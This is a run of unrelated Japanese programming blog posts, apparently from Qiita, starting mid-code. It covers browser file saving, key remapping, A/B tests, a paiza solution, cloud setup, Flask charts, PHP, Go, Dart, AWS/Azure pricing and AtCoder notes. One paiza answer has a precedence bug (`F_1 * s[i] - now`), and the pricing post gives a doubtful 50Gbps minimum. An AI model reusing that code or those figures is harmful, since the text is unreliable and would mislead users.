        const writable = await imgFileHandle.createWritable();
        await writable.write(result);
        await writable.close();          
     
   });
}


```

https://codepen.io/kitasenjudesign/pen/NWLGVWQ


# 📂DirectoryPickerを使って、複数ファイル一気に保存する


```javascript

var c = document.getElementById("myCanvas");
var btn = document.getElementById("btn");
var ctx = c.getContext("2d");


ctx.moveTo(0, 0);
ctx.lineTo(400, 300);
ctx.stroke();

ctx.fillStyle = "#f00";
ctx.beginPath();
ctx.arc(150, 150, 150, 0, 2 * Math.PI);
ctx.fill();


///////////////////////////////////////////////


let dhandle;
let idx = 0;

btn.onclick = async ()=>{
  console.log("ファイル名インクリメントして保存")
  if(dhandle==null){
   dhandle = await window.showDirectoryPicker()
   dhandle.requestPermission({ writable: true })    
  }
   
  await c.toBlob(async function(result) {
        //console.log(result);
        let fhandle = await dhandle.getFileHandle('filename'+idx+'.png', { create: true });
        idx++;
        const writable = await fhandle.createWritable();
        await writable.write(result);
        await writable.close();          
     
   });
}


```

https://codepen.io/kitasenjudesign/pen/BaOoeXK
"無変換" を "_" にマップするとQOLが上がる

[PowerToys](https://github.com/microsoft/PowerToys) はMicrosoftが開発している、Windowsの生産性をあげるソフトです。その中に「Keyboard Manager」という、キーボードのキーやショートカットを再マップする機能があるのですが、これは便利ですね。

### コーディングでQOLが下がる原因

日本語配列のキーボードだとたまに押しにくいキーがあります。

- アンダースコア`_`を打つのに`Shift+\`をやる必要があり、PythonとかRustとか、変数名・関数名にアンダースコアを多用する習慣のある言語ではそれだけでフラストレーションがたまります。
- クォーテーションマーク`'` `"`も地味に使いますよね。シングルクォーテーションマークなんかは左右どちらの`Shift`からも遠いので小指と人差し指の間が裂けそうになります。
- C++やRustだと`&`もよく書きますよね。
- `=`もどんな言語でも使うけど`Shift`が必要ですね...

... これだけで人生の3%くらいの時間を無駄にしている気がします。

# マップ例

- `Caps Lock` &rarr; `Disable` ... Caps Lockを消すのはあるあるですね。
- `無変換` &rarr; `Shift+\` (=`_`) ... 無変換とか使わん。アンダースコアにしました。しかも意外な利点があって、`無変換`を押したまま`T`を押すと`Shift+\`の`Shift`が残っているので、`_T`が入力されます。左隣に`Alt`があって間違って押すとメニューバーとかにフォーカスが移るので、少し練習が必要です。
- `変換` &rarr; `Shift+2` (=`"`) ... これも同じく、`変換`を押したまま`T`を押すと`"T`になります。右隣に`カナ/かな`があってこれも押すと面倒なので、`Disable`にしておくとよいかと思います。
ABテストのやり方について質問です。（Adobe Target）


＊これは技術記事ではなく質問です。

今かかわっているところのABテストが今まで自分が経験しなかったようなものでして…
自分のイメージするものが間違っているのかどうか確認できればという次第です。


## Q1
自分が今までの経験からイメージするABテストはこんな感じです↓

例）
購入ボタンの色違い、文言違い
バナークリエイティブのコピー違い、画像違い等

基本的に条件は変えずに、試したい項目（色やコピー、位置）だけをパターンごとに変えてテストするものだと認識しています。

色やコピーを変えるような一部の変更ではなく、
全く別の役割を比較するのはテストの意義として適切なのでしょうか。
例えば、レコメンドのパーツと検索条件などのページへ遷移するためのパーツを比較したり、それぞれ設置する位置も違っていたり…

色×コピーなどの多変量解析ならまだあれですが、別の概念のものを比較するのって…

また

## Q2
どのレーンが勝ったか負けたかを決定する指標は基本的にはその行動の直後の指標だと思っています。
例えば、
バナーA/Bのテストなら基本的にはクリックなのでCTR
メールのタイトルのテストなら開封率
というように

しかし
例えば
トップページ→商品一覧ページ→商品の詳細ページ「購入ボタン」→購入確認ページ→購入完了という流れがあったときに

購入という行動から遠いところにあるページやそこにある要素についてテストする場合にも購入という指標で判断してよいのかということが疑問に感じています。

具体的には、商品一覧ページにある各商品の商品名や画像や説明文、詳細ページへのボタンがあったとします。
この商品画像を左揃えにする VS 右揃えにするといったテストや
詳細ページへのボタンの色を変更するテストを行った場合

テストレーンの結果を比較するには 「どれくらい商品詳細ページへ誘導できたか」＝「商品詳細への遷移率」だと思うのですが…
これをさらにもっと先の「購入」をテスト結果を決める指標として良いのものなのでしょうか。
購入に至るまでには様々なページを経ると思うので、テスト箇所以外の要素も色々あると思うので、「購入」に至った直接的な要因として断定してよいのか疑問に思っています。

もし「購入」をテスト結果を決める指標とするなら、より購入に近い「購入する」ボタンや購入確認ページの「注文確定する」ボタンなどのほうがふさわしいのではないかと思っています。

ちなみにツールはAdobe Targetです。


自分の勉強不足も多々あるとは思いますが…

アドバイスいただけたら幸いです。
paizaラーニング レベルアップ問題集 新・Bランクレベルアップメニュー JavaScript 【シミュレーション 3】燃費

【シミュレーション 3】燃費 (paizaランク B 相当)

https://paiza.jp/works/mondai/b_rank_new_level_up_problems/b_rank_new_level_up_problems__fuel_economy

# 解答例
一時停止地点ごとのひと区間あたり、条件より`s_N ≦ L ≦ 1,000,000,000`なので、
ループを回して車が1mずつ進むシミュレーションをすると、処理時間が足らなくなる。
一時停止する区間の数は条件より`1 ≦ N ≦ 1000`なので、こちらでループすれば処理時間が足りる。一時停止する区間ごとに、必要燃料を、場合分けをして計算する。

出発地点を0とし、そこから s_1(m), ..., s_N(m) の地点で一時停止をし、最後L(m)まで走る。
配列sの最後にLを追加する。

```javascript
const fs = require("fs");
const input = fs.readFileSync("/dev/stdin", "utf-8").trim();
const lines = input.split("\n");
//発進から X m 走る
const [X] = lines[0].split(" ").map(Number);
//発進から X m 走るまでは 1 m あたり燃料が F_1 ml, 発進から X m 走った後から止まるまでは 1 m あたり燃料が F_2 ml 
const [F_1, F_2] = lines[1].split(" ").map(Number);
//全長 L m , N個の地点で一時停止
const [L, N] = lines[2].split(" ").map(Number);
//途中、出発地点から s_1(m), ..., s_N(m) の地点で一時停止
const s = lines[3].split(" ").map(Number);
s.push(L);//最後の地点足す

let requiredFuel = 0;
for (let i = 0; i <= N; i++) {
  //一時停止地点ごとの区間の距離l
  let l = 0;
  if (i === 0) { //最初
    l = s[i];
  } else {
    l = s[i] - s[i - 1];
  }
  //ループせずに、場合分け
  if (l <= X) {
    requiredFuel += l * F_1;
  } else {
    requiredFuel += X * F_1 + (l - X) * F_2;
  }
}
console.log(requiredFuel);
```

# 解答例(C++の場合参考)
車の現在地を変数nowとして、ひと区間の距離を`一時停止地点s[i]-現在地now`で求める。nowを更新していく。


```javascript
const fs = require("fs");
const input = fs.readFileSync("/dev/stdin", "utf-8").trim();
const lines = input.split("\n");
//発進から X m 走る
const [X] = lines[0].split(" ").map(Number);
//発進から X m 走るまでは 1 m あたり燃料が F_1 ml, 発進から X m 走った後から止まるまでは 1 m あたり燃料が F_2 ml 
const [F_1, F_2] = lines[1].split(" ").map(Number);
//全長 L m , N個の地点で一時停止
const [L, N] = lines[2].split(" ").map(Number);
//途中、出発地点から s_1(m), ..., s_N(m) の地点で一時停止
const s = lines[3].split(" ").map(Number);
s.push(L);//最後の地点足す

let requiredFuel = 0;//必要燃料量
let now = 0;//車の現在地
for (let i = 0; i <= N; i++) {
  //走行距離で場合分け
  if (X < s[i] - now) { //Xよりひと区間s[i]-nowが大きかったら
    requiredFuel += F_1 * X + F_2 * (s[i] - now - X);
  } else { //ひと区間s[i]-nowがX以下なら
    requiredFuel += F_1 * s[i] - now;
  }
  now = s[i];//車は次の一時停止地点へ
}
console.log(requiredFuel);
```
VPCのCustom ImageをICOSにエクスポートし、他リージョンでインポートして使う

# はじめに
IBM CloudのVPCで利用できるCustom Imageは、ユーザーがカスタマイズしたサーバー構成をイメージとして保管するのに便利な機能です。
これまでは、Custom Imageを取得したのと同じリージョン内での利用に限られていましたが、今回、ICOSにエクスポートする機能が利用可能になりました（2023/2/20時点でベータ提供中 -> 2023/4/27 GAしました）。
https://cloud.ibm.com/docs/vpc?topic=vpc-managing-custom-images&interface=ui&locale=en#custom-image-export-to-cos
備考：当記事は、ベータプログラムに参加しているアカウントで動作確認したものです。

今回はユースケースとして、東京リージョンの仮想サーバーから作成したCustom Imageを用いて、大阪リージョンに仮想サーバーを立てることにします。

# 事前の設定
今回の機能を利用するために必要な権限などは下記を参照ください。
https://cloud.ibm.com/docs/vpc?topic=vpc-managing-custom-images&interface=ui&locale=en#custom-image-export-to-cos-prereqs

# カスタムイメージを取得
東京のサーバーの設定内容が大阪に作るサーバーに反映されることを確認するために、東京側でファイルを1つ作っておきます。

```
[root@tamavsi09 ~]# cat test.txt 
test 20230220
[root@tamavsi09 ~]# 
```

仮想サーバーをシャットダウンし、これまで同様、Custom Imageを作成します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59627/7ba12798-fec1-aecb-3376-65c47f214fbc.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59627/d0666155-1b47-a032-e268-3854d0d5ed32.png)


# ICOSにエクスポート
Custom ImageのActionsから、今回の新しいメニューとして、Exportが選べるようになっています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59627/f0ea5e84-0778-2f8d-5b8c-69b9a3615358.png)

Custom Imageのあるリージョンと同じリージョンのbucketが選択できます。（今回は東京のCustom Imageなので、東京のbucketのみプルダウンに表示されます）

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59627/cf81dc1f-1adf-e07a-88d8-c6a74a8c01e6.png)

Exportを実行すると、Custom Imageの詳細画面に新たに追加されたExport historyタブで状況を確認できます。Exportが完了すると、StatusがCompletedに変わります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59627/3de1cb09-815e-95de-aa58-25f73aada670.png)

ICOS側にもオブジェクトが追加されました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59627/09eeddba-b9de-1234-0f95-92b3cf44c93a.png)

# 別リージョンでICOS上のファイルをCustom Imageとしてインポート

大阪リージョンのCustom Imageの画面で、Createします。
Image sourceとして、前の手順でExport先に指定したbucketと、その中のqcow2ファイルを選択します。インポートの際は、別リージョンのICOSも選択できます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59627/3583ca98-abce-b904-e28f-c82958d34d7a.png)

大阪リージョンのCustom Imageとしてインポートが完了しました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59627/b4fb514d-05d5-e50e-7c8d-960b46b37fdc.png)


# インポートしたイメージを元に仮想サーバーを作成
インポートしたCustom Imageを使い、仮想サーバーを作成します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59627/2be2a34d-d931-12db-9422-66955e68e8d1.png)

Custom Imageを元に問題なくサーバーが作成され、東京側で作成したファイルも含め、大阪側に作られていることが確認できました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59627/d6455160-11d1-b860-144f-9416b73eda85.png)


```
[root@tamavsi-osa ~]# cat test.txt 
test 20230220
[root@tamavsi-osa ~]# 
```
[gitHub]プライベートリポジトリに個別招待する

プライベートリポジトリに、ユーザを個別に招待する方法

gitHubの「Setting」タブをクリック
![タイトルなし.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2759593/7f815b5a-47b6-7dd7-186b-e775c56b339d.png)

アクセス制御の「Collabotators」をクリック
![タイトルなし2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2759593/96b4393c-f2e4-694d-a51c-94f75dcd655d.png)

アクセス制御ブロック「Manage access」の「Add people」をクリック
![タイトルなし3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2759593/8ddcc53a-771b-2548-0c1c-a299ad61caff.png)

招待者のgitHubアカウントを入力⇒選択して「Select a collaborator above」をクリック
![タイトルなし4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2759593/d25d840c-3726-6ef1-ecd5-8ac3a4af1e61.png)

招待したいアカウントがリポジトリ閲覧できたら成功。
Pandasで描画するグラフをファイルに保存せずにWebページに表示できないかなと思ったらできた話

# はじめに

パラメータを変えて繰り返しグラフを描画させるWebアプリケーションを作成している時、都度ファイル出力しながら描画するのはあまり良くないかもしれないと思い、ファイルに書き出さないでHTML内に表示する方法を探してみたら意外と簡単だったので共有してみます。

# やりたいこと

以下のようなグラフをリアルタイムで表示する

![スクリーンショット 2023-02-20 12.40.48.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/114240/209ec7cf-e894-2145-8af5-1b2913b6632f.png)

# 環境

- MacBook Pro 15-inch, 2019
- Python 3.7.4
- Matplotlib 3.1.1
- Flask 1.1.1
- Pandas 0.25.1

# フォルダ構成

root/
├ app.py
└ templates/
　└ index.html

# プログラム

```py:app.py
from flask import Flask, render_template
import pandas as pd

from matplotlib.backends.backend_agg import FigureCanvasAgg
from matplotlib.figure import Figure
import io
import base64

app = Flask(__name__)

def draw(df, figsize=(15,5)):
	
	fig = Figure(figsize=figsize, facecolor='w', tight_layout=True)
	ax = fig.add_subplot(111)
	
	for col in df.columns:
	    ax.plot(df.index, df[col])
	
	canvas = FigureCanvasAgg(fig)
	s = io.BytesIO()
	canvas.print_png(s)
	
	s = "data:image/png;base64," + base64.b64encode(s.getvalue()).decode("utf-8").replace("\n", "")
	
	return s
	
@app.route("/")
def index():
    
    x = [1,2,3,4,5]
    y = [2,7,5,9,1]
    
    df = pd.DataFrame({"x":x, "y":y})
    
    return render_template("index.html",
        plot=draw(df, figsize=(10,5)),
    )
    
if __name__ == "__main__":
    app.run(host='::', port=5001, debug=True)
```

# テンプレート

```html:index.html
<html>
	<head>
		<title>サンプル</title>
	</head>
	<body>
		<h1>サンプル</h1>
		<img src="{{plot}}" width="100%" />
	</body>
</html>
```

# 実行

```sh:
$ python app.py
```

できた！
PHP：型：Iterable：foreach文で反復処理が可能か否かをチェックするためにある擬似的な変数の型。

限定的の中でも限定的な型だと思う。
foreach文で反復処理が可能か否かをチェックするためにある擬似的な変数の型。
文字通りのチェック時に便利。

```php
var_dump(is_iterable([1, 2, 3])); // bool(true)
var_dump(is_iterable(1)); // bool(false)
```
golangで、ちょー簡易URLルーター

golangで簡易URLルーターを実装してみました

```golang
package parse

import (
	"net/http"
	"log"

	"net/url"
	"strings"
	
	"pdbg.work/hoge/module/setting"
)

var (
	param []string
)

func Parse(w http.ResponseWriter, r *http.Request) {
	// URLの取得
	u, err := url.Parse(r.URL.Path)
	if err != nil {
		log.Fatal(err)
	}
	
	// URLのパース
	param := strings.Split(strings.Trim(u.Path, "/"), "/")
	
	// paramのトリム
	for key, value := range param {
		param[key] = strings.TrimSpace(value)
	}
	
	//　実行
	if (param[0] == "exec") {
		f := param[1]
		param = param[2:]
		
		if (setting.Functions[f] != nil) {
			setting.Functions[f](w, r, param)
			
			return
		}
	}
	
	// ServeHTTPでhttp.FileServerの実行
	http.FileServer(http.Dir("public")).ServeHTTP(w, r)
}

```

　本当、簡易的なプログラムなのでソースリストを見た方が早いですけど

　http.ServerのHandler:でハンドラー設定を行い、parse.Parseを実行しています

　/settingのmap[string]func(w http.ResponseWriter, r *http.Request, param []string)型のmap変数で設定して、実行メゾッドsetting.Functions[f]を呼び出してます

　ServeHTTPでhttp.FileServerを実行している事で、staticなファイルへのアクセスも可能です

以上、よろしくお願いします（よろしく
visual studio codeで出たエラーの解決策

# The "path" argument must be of type string or an instance of Buffer or URLというエラーに遭遇した時にまず確認すべきこと

# 経緯
VSCodeにてWebアプリを作成していたところ画像のようなエラーに遭遇し、解決に10時間以上要したので同じエラーに苦しめられている人の助けになればと思う。
![スクリーンショット 2023-01-24 22.39.22.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2951997/81f9249d-563a-b09a-2452-260cf27cf4cb.png)

# 調べてみても...
このエラーについては自分なりに調べてみたが、「react-scriptのバージョンを確認する」や「eslintの設定ファイルを確認する」、「package.jsonファイルを確認する」など、全て試してみたが根本的な解決には至らなかた。

# エラーの原因
原因は単純で、<strong>作成したファイルの階層構造が間違っていること</strong>によりパスが通らなかったことが原因である。
PHP：型：オブジェクト：new命令でインスタンス化したもの。要はクラスの実体

コールバック型もだが、最初はこんな関数的なものまでが型なのかと驚いたもの。

```php
class Animal {
    public $name;
    public $weightKg;
    public $heightM;
    function __construct(string $name, float $weightKg, float $heightM) {
        $this->name = $name;
        $this->weightKg = $weightKg;
        $this->heightM = $heightM;
    }
}

$tiger1 = new Animal("tiger", 300, 2);
echo gettype($tiger1); // object
```
【Flutter/Dart】定数final・const・varの違い



## 1. 結論
基本的に変数の値を再代入するつもりがないのであれば、finalあるいはconstを用いる必要があります。また、場合によっては、varを型に使用することができます。

final変数はビルド時に一度しか値をセットすることが出来ません。また、constはコンパイル時に値をセットするという特徴があります。（const変数も明示的なfinalです。）

## 2. final
* finalで宣言した変数は、再代入できないという特徴があります。

### 2-1. 参考コード
```Dart
final name = 'Bob';
final String nickname = 'Bobby';

//再代入を試みる
name = 'Mary'; // ERROR!
```

## 3. const
* constで宣言した変数は、いずれも再代入できません。
* 定数を生成するコンストラクタを宣言することが可能で、どんな変数も定数を持つことができます。
* コンパイル時に値をセットするという特徴があります。

### 3-1. 参考コード
```Dart
const flavor = 'cheese';

//再代入を試みる
flavor = 'spicy hot'; // ERROR!

// コンストラクタの生成
const flavors = ['cheese', 'spicy hot', 'salt&pepper'];
```

## 3-2. 注意事項
### 3-2-1. コンストラクタの再代入は不可
* constで生成したコンストラクタは、再代入することが不可能です。
```dart
flavors[2] = 'ketchup'; // ERROR!
```

### 3-2-1. constの中で実行できる処理について
* 型チェックやis, asを使ったキャスト、コレクション、...と...?を用いた処理に関しては、constの中でも実行することが出来ます。
```Dart
//以下はOK
const Object i = 3; 
const list = [i as int]; 
const map = {if (i is int) i: 'int'}; 
const set = {if (list is List<int>) ...list}; 
```

## 4. var
* 変数を再代入する可能性がある場合は、基本的にvarを用いるようにしましょう。

### 4-1. 参考コード
```Dart
var flavors = ['cheese', 'spicy hot', 'salt&pepper'];
flavors[2] = 'ketchup'; 
print(flavors); //['cheese', 'spicy hot', 'ketchup']
```

# 5. 終わりに
・間違っている点などございましたら、コメントなどでご教示いただけると幸いです。


## 6. 参考ページ
* https://dart.dev/guides/language/language-tour#variables
* https://qiita.com/hiko1129/items/90a201f857fb125bd8ef#const
Direct ConnectとExpressRouteの料金体系

# はじめに
本記事では、Direct ConnectとExpressRouteの料金体系についてまとめました。
Direct Connect、ExpressRouteにはそれぞれ直接接続、ホスト接続があり、接続方式によって料金体系が変わります。

※ 直接接続：利用者が専用線を所有し、データセンター事業者に直接AWS/Azureへの接続の依頼をする形態
※ ホスト接続：デリバリーパートナーが利用者に代わってDirect Connect/ExpressRouteの専用線を作成し、利用者にポートの1つを貸与する形態

Direct Connec、ExpressRouteともに料金体系についてまとめられている記事が少なかったため、備忘録として残しておきます。


# Direct Connect
Direct Connectの月額利用料は以下の2つに分かれます。
* ポート利用料
* データ転送料

### ポート利用料

* ホスト接続の場合、ポートを所有しているDirect Connectデリバリーパートナーに課金されます。
* 物理接続の場合、ポートを所有しているAWSアカウントに課金されます。

専用線接続容量によって、１時間当たりの料金が課金されます。
ホスト接続では50Gbpsから、物理接続では1Gbpsから選択可能です。


### データ転送料

* データ転送アウト（AWS→オンプレミス）では、データ転送元となるAWSサービスを所有するアカウントに課金されます。
* データ転送イン（オンプレミス→AWS）は、課金対象ではなく、無料となります。

### Direct Connectの料金体系まとめ
料金体系を表にまとめると、以下の通りになります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3115411/b13f0ed4-3353-4ee5-ab71-4d7f48912c94.png)

https://aws.amazon.com/jp/directconnect/pricing/

# ExpressRoute
ExpressRouteの月額利用料は以下の2つに分かれます。
* ポート利用料
* データ転送料

### ポート利用料
* ExpressRoute（ホスト接続）の場合、ExpressRoute回線を所有するExpressRouteのデリバリーパートナーに課金されます。
* ExpressRoute Direct（直接接続）の場合、ExperessRoute Direct回線を所有するサブスクリプションに課金されます。

### データ転送料
データ転送料には、以下の2つのデータプランがあり、それぞれ課金体系が違います。
* 従量課金データプラン
    * データ転送アウト（Azure→オンプレミス）では、ExpressRoute/ExpressRoute Directを利用するサブスクリプションに課金されます。
    * データ転送イン（オンプレミス→Azure）は、課金対象ではなく、無料となります。

* 無制限データプラン
    * 月額固定のポート料金が請求され、データ転送アウト/インともに無料となります。
    
基本的には、従量課金データプランのほうが安くなります。






### ExpressRouteの料金体系まとめ
料金体系を表にまとめると、以下の通りになります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3115411/f0252b99-bfd1-159e-8a5b-787129ce274b.png)

https://azure.microsoft.com/ja-jp/pricing/details/expressroute/


## まとめ
Direct Connect、ExpressRouteの料金体系は似ているようで少し違いがあります。
参考にしていただけると幸いです。
ABC290回答メモ

0.はじめに
　大会予選なのでC問題までの難易度は普通でD以降がちょっと難しいとの事。
　たしかにD難しいかもなーとあきらめてしまいました・・・。
　Cもミスを繰り返しレートを落とす結果となってしまいました。
　
1.A - Contest Result
　A問題なのにリスト2個読み！と
　ビビりましたが、問題自体は簡単で
　素直にBリストの解けた問題番号をもとに
　その問題の配点をAリストから引っ張って足していくだけで
　解けました。　

　https://atcoder.jp/contests/abc290/submissions/39012875

2.B - Qual B
　ちょっとだけややこしい問題文でしたが
　文字列Sの”o”の数を左からK個残し
　あとの”o”は”x”に置き換えると考えると
　すんなり解けました。

　https://atcoder.jp/contests/abc290/submissions/39018612

3.C - Max MEX
　昨日のARC156_B問題で悩んだMexが出てきました。(解けてないけど)
　今日の問題は、単純になっていたので楽でした。
　と、気軽に実装したら穴がありまくりでWA/REで3回再提出食らいました。
　【考え方】
　　与えられたリストをソートして
　　先頭から、0があるか？１があるか？・・・・と比較していって
　　ない数があったらそれがMEX。
　　ただし、リストには重複する数もあるからそれは飛ばす。

　【実装】
　　1)N,Kを読み込む
　　2)リストAを読み込む
　　3)リストAを昇順ソート
　　4)変数cnt(0から始め該当数がリストにあったら+1する)を0で初期化
　　5)変数ans(MEXの値を格納)を-1で初期化
　　6)変数i（リストAを見ていくときの位置を格納）を0で初期化
　　7)以下をcnt<kの間繰り返す
　　　7-1)A[i]チェック
　　　　7-1-1)A[i]がcntと同じとき
　　　　　7-1-1-1)cntに1を加算
　　　　　7-1-1-2)ansにcntをセット(A[i]とcntが0だったら、1がMEX)
　　　　　7-1-1-3)iに1を加算
　　　　7-1-2)A[i]がcnt以下の時(A[i]とA[i-1]が同じ数字の時)
　　　　　7-1-2-1)iに1を加算
　　　　7-1-3)それ以外(A[i]がcntを超えている＝穴が開いている＝その数字がMEX)
　　　　　7-1-3-1)cntにKをセット(ループを抜ける)
　　　7-2)iがNと同じとき(リストを最後まで見た時)
　　　　　7-2-1)cntにKをセット(ループを抜ける)
　　8)ansと0の大きい方を出力
　(リストAの最小値が1以上だった場合等、ansが-1の時は0を出力)
　　
　7-2のリストを最後まで見たときの扱いや、8のansが-1の時の
　扱いが抜けていたため、REやWAが出てしまってました。

　https://atcoder.jp/contests/abc290/submissions/39029625


　

以上
【Android】Play Integrity API を使うための必要な設定まとめ

詳細は [公式ドキュメント](https://developer.android.com/google/play/integrity/setup?hl=ja) を読んだ方がわかりやすいですが、いくつか設定で苦労したのでまとめます。

#### Google Play Console から Play Integrity API をリンクする
Play Integrity API を有効にするアプリの Play Console の設定を開き、 `設定/アプリの完全性` ページを開きます。

![003.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/421285/e5b8b194-9b56-b789-1c14-b9514bc1b971.png)

Integrity API のタブから　「プロジェクトをリンク」 をクリックします。

連携する Google Cloud プロジェクトを選択する画面が開かれるので、こちらからリンクする Google Cloud プロジェクトを選択します。
「新しいプロジェクトを作成」 を選択すると勝手にGCPプロジェクトが作成されてリンクされます。
![004.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/421285/61276070-b16a-5200-4bdf-8f4a43386c82.png)


連携が完了すると以下のような表示になります。
![005.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/421285/d83e27ae-8f99-beed-3f14-a34e258314d5.png)

リンクが完了すると Google Cloud プロジェクトの [Play Integrity API](https://console.cloud.google.com/marketplace/product/google/playintegrity.googleapis.com) が有効状態になります。




#### Google Cloud サービスアカウントの作成


こちらの [完全性判定の結果の復号と検証](https://developer.android.com/google/play/integrity/standard?hl=ja#decrypt-and) にて完全性判定の結果を復号するためにサーバ側で使用するサービスアカウントを作成します。

Google Cloud のページから `IAMと管理/サービスアカウント` でサービスアカウントのページへ進む。

![スクリーンショット 2023-02-20 11.25.00.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/421285/ae0dc3e6-46ce-aae8-3c72-522539af0fae.png)

`サービスアカウントを作成` を選び、アカウント作成画面へ進む

![Play Integrity API-002.drawio.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/421285/e6a285a4-fe58-1405-b63c-df27cf840849.png)

サービスアカウント名、サービスアカウントIDは適当に指定する。
ロールは `サービス アカウント ユーザー` と `Service Usage ユーザー` を設定します。

![スクリーンショット 2023-02-20 11.50.00.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/421285/3a600c9f-58f7-65a4-8e9a-537023ce39fb.png)

![スクリーンショット 2023-02-20 11.50.17.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/421285/d6c6c2ff-d73c-c284-354c-10308bf804ca.png)

また、サービスアカウントのアクセストークンを取得するためにはキーファイルが必要なので、鍵の作成を次に行います。
作成したサービスアカウントの詳細ページより `キー` タブを選択します。
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/421285/abd440f9-c56e-2463-b8fb-a85e164eabd4.png" width="1200">

`鍵を追加` を選択し、 `新しい鍵を作成` を選択する
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/421285/353475bc-1f58-a725-a71e-73983fa7dfdf.png" width="300">

キーのタイプを選択する。
基本的にはJSONでOK
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/421285/384545a0-4e4f-3da3-6b20-a7a01ba26272.png" width="450">


サービスアカウントの鍵を生成するとJSONキーファイルがダウンロードされるので、このJSONファイルをサーバエンジニアさんに渡してあげる
【Rails】Render本番環境DBに初期データを投入する方法

## 概要
Renderを使用してオリアプを本番環境へデプロイをする時に、本番環境のPostgreSQLデータベースに初期データを投入する方法が分からず、解決までに時間を掛けすぎてしまった為、解決方法をここに纏めます。
本番環境に投入するデータは都道府県データです。

## 環境

- Rails 6.0.6.1
- ruby 2.6.5
- PostgreSQL
- Render

## 初めに試したこと
`seeds.rb`に都道府県データを作成後、
```seeds.rb
History.create(name: '北海道')
History.create(name: '青森県')
History.create(name: '岩手県')
History.create(name: '宮城県')
History.create(name: '秋田県')
#以下省略
```
上記データを本番環境に投入する為に、下記コマンドをターミナル上で実行。
```
rake db:seed RAILS_ENV=production
```
すると、「データベースにアクセスするためのソケットが見つからず接続できない、サーバーはローカルで実行されそのソケットでの接続を許可していますか？」とエラーメッセージが出現。
```
PG: :ConnectionBad: connection to server on socket "/tmp/. s.PGSQL.5432» failed: No such file or directory
     Is the server running locally and accepting connections on that socket?
```

このエラーを解決するために、ググりまくっていたところ、下記記事を発見。
https://qiita.com/show1107/items/5dbdac581d561909cf84
記事は`heroku`に関する内容でしたが、`rails db:seed RAILS_ENV=production`コマンドでは本番環境にデータを投入することは出来ず、RenderもRenderの仕様に沿ったコマンドを実行しなければならないのでは？と考えました。

## Renderへ初期データを投入する方法
色々と調べた結果、以下方法でRender本番環境データベースに初期データを投入することが出来ました。

Renderでアプリの新規作成をする際に、`Settings`内の`Build Command`に`render-build.sh`を指定していました。
スクールのカリキュラムを参考に流れ作業で進めていたので、このファイルが何のためにあるのか全く理解出来ておりませんでしたが、この`Build Command`ではデプロイ実行時のコマンドを設定しており、`render-build.sh`を指定することで、`render-build.sh`ファイルに記述しているコマンドをデプロイ時に実行してくれるみたいです。

```
    入力欄	           入力内容
Build Command	./bin/render-build.sh
```
その為、`render-build.sh`に`bundle exec rails db:seed`を追記し、デプロイしたところ、無事に本番環境に初期データを投入することが出来ました。
```render-build.sh
#!/usr/bin/env bash
# exit on error
set -o errexit

bundle install
bundle exec rake assets:precompile
bundle exec rake assets:clean
bundle exec rake db:migrate
bundle exec rails db:seed
```
## 備考
`Build Command`に`render-build.sh`を指定してコマンドを実行する方法以外にも、`Build Command`に実行するコマンドを直接入力して指定する方法でも良いみたいです。
```
bundle install && yarn install && bundle exec rake assets:precompile && bundle exec rake assets:clean && bundle exec rails webpacker:compile　&& bundle exec rake db:migrate && bundle exec rails db:seed
```

## 参考文献
- [herokuで本番環境にデータ投入](https://qiita.com/show1107/items/5dbdac581d561909cf84)
- [RailsをRenderでデプロイ　ヘルプ集【備忘録】](https://qiita.com/yuuki-h/items/6bf6ec78b97bb43ea66f)
多要素認証およびSSO導入後におけるSalesforceのAPI利用の考察


+ [多要素認証およびSSO導入後におけるSalesforceのAPI利用について](https://trailhead.salesforce.com/ja/trailblazer-community/feed/0D54S00000NHGnlSAH)

OAuth認証で接続するようなことが回答されています。
You will need to set up a Connected App with the appropriate OAuth Scopes.

+ [Authentication on API calls with Federated SSO](https://salesforce.stackexchange.com/questions/15771/authentication-on-api-calls-with-federated-sso)


+ [Salesforce多要素認証: API接続でも多要素認証を求められるケース](https://sfblog.markhammer.net/entry/2021/03/25/090000)
+ [Salesforce 多要素認証に関する FAQ](https://help.salesforce.com/s/articleView?id=000388806&type=1)

# windows11 のでエラー？

+ [Is Dataloader suddenly not working for anyone else?](https://trailhead.salesforce.com/trailblazer-community/feed/0D54S00000JgCmgSAF)
[Unity]逆マスクを使用した円形状にフェードするトランジションの作り方

Unityで逆マスクを使用して円形状にフェードイン、フェードアウトするトランジションの作り方を紹介します。2Dのみならず3Dゲームでも利用できます。
![transitionReverseMask.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/633154/61746aeb-de35-8b26-442b-dc24716a3581.gif)




<h1>逆マスクとは？</h1>
